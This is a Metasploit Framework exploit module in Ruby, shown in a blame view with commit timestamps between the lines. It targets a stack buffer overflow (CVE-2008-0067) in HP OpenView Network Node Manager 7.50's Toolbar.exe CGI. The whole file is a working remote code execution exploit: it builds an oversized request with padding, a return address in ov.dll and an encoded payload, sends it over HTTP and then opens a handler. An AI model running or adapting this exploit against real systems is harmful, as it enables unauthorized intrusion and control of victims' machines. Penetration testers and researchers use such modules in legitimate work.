2009-01-19 23:07:28 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-01-19 23:07:28 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-01-19 23:07:28 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2009-01-19 23:07:28 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-01-19 23:07:28 +00:00
|
|
|
'Name' => 'HP OpenView Network Node Manager Toolbar.exe CGI Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
|
2010-04-30 08:40:19 +00:00
|
|
|
By sending a specially crafted CGI request to Toolbar.exe, an attacker may be able to execute
|
|
|
|
arbitrary code.
|
2009-01-19 23:07:28 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2009-03-15 18:12:33 +00:00
|
|
|
'Version' => '$Revision$',
|
2009-01-19 23:07:28 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-0067' ],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '53222' ],
|
2009-01-19 23:07:28 +00:00
|
|
|
[ 'BID', '33147' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 650,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-01-19 23:07:28 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'HP OpenView Network Node Manager 7.50 / Windows 2000 All', { 'Ret' => 0x5a01d78d } ], # ov.dll
|
2009-01-19 23:07:28 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'DefaultTarget' => 0,
|
2009-01-19 23:07:28 +00:00
|
|
|
'DisclosureDate' => 'Jan 7 2009'))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options( [ Opt::RPORT(80) ], self.class )
|
2009-01-19 23:07:28 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
sploit = rand_text_alpha_upper(5108) + [target.ret].pack('V') + payload.encoded
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
send_request_raw({
|
|
|
|
'uri' => "/OvCgi/Toolbar.exe?" + sploit,
|
|
|
|
'method' => "GET",
|
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-19 23:07:28 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|